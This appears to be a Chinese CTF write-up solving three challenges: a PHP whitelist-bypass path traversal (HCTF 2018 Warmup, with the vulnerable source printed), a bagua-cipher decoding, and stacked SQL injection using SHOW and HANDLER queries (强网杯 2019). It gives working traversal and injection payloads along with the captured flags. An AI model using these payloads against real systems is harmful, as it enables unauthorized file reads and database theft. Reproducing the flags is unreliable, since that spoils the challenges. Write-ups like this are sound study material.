[HCTF 2018]Warmup
什么也没有就给了一个表情,那我们查看源码看看
发现了有一个source.php文件,打开看看
发现了代码审计,
<?php
// 高亮显示当前文件的内容,通常用于调试和查看源代码
highlight_file(__FILE__);
// 定义一个名为 emmm 的类
class emmm
{
// 定义一个静态方法 checkFile,接受一个引用参数 $page
public static function checkFile(&$page)
{
// 定义一个白名单数组,包含两个键值对
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
// 检查 $page 是否被设置且是否为字符串
if (! isset($page) || !is_string($page)) {
echo "you can't see it"; // 如果条件不满足,输出 "you can't see it"
return false; // 返回 false
}
// 检查 $page 是否在白名单中
if (in_array($page, $whitelist)) {
return true; // 如果在白名单中,返回 true
}
// 使用 mb_substr 从 $page 中提取子字符串,直到遇到问号(?)
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
// 检查这个子字符串是否在白名单中
if (in_array($_page, $whitelist)) {
return true; // 如果在白名单中,返回 true
}
// 将 $page 进行 URL 解码
$_page = urldecode($page);
// 再次使用 mb_substr 提取子字符串,直到遇到问号(?)
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
// 检查这个子字符串是否在白名单中
if (in_array($_page, $whitelist)) {
return true; // 如果在白名单中,返回 true
}
// 如果上述所有检查都未通过,输出 "you can't see it"
echo "you can't see it";
return false; // 返回 false
}
}
// 检查 $_REQUEST['file'] 是否不为空且为字符串,并且调用 emmm::checkFile 方法进行检查
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
// 如果条件满足,包含该文件并退出脚本
include $_REQUEST['file'];
exit;
} else {
// 如果条件不满足,输出一张图片
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>
查看一下hint.php文件
发现了flag再ffffllllaaaagggg中
因为我们当前的source.php一般是在html目录下,往上是www,var,然后到根目录,flag一般就放在根目录下面,这里还有一个hint.php?/或者source.php?/,因此需要返回四层才能到根目录 。
source.php/?file=hint.php?../../../../../ffffllllaaaagggg
得到flag
NSSCTF{3c195233-356a-41f1-9dc0-6342cb73563c}
[SWPUCTF 2021 新生赛]traditional
给了八卦图的密文,让我们解密
方法:
找到八卦图文对应的二进制编码,先转换成二进制编码再转换ASCII编码就得到flag了
我这里直接用的随波逐流:
NSSCTF{Da01sall}
[强网杯 2019]随便注
发现1'不行
发现1';可以
发现1';show databases;-- +可以查看数据库名
发现1';show tables;-- +可以查看表名
查看一群数字名的里面有没有flag,1';show columns from `1919810931114514`;
发现了falg这个字段名
1';handler `1919810931114514` open;handler `1919810931114514` read next;
NSSCTF{d9978321-a536-4c2e-916e-9c2be34ca27b}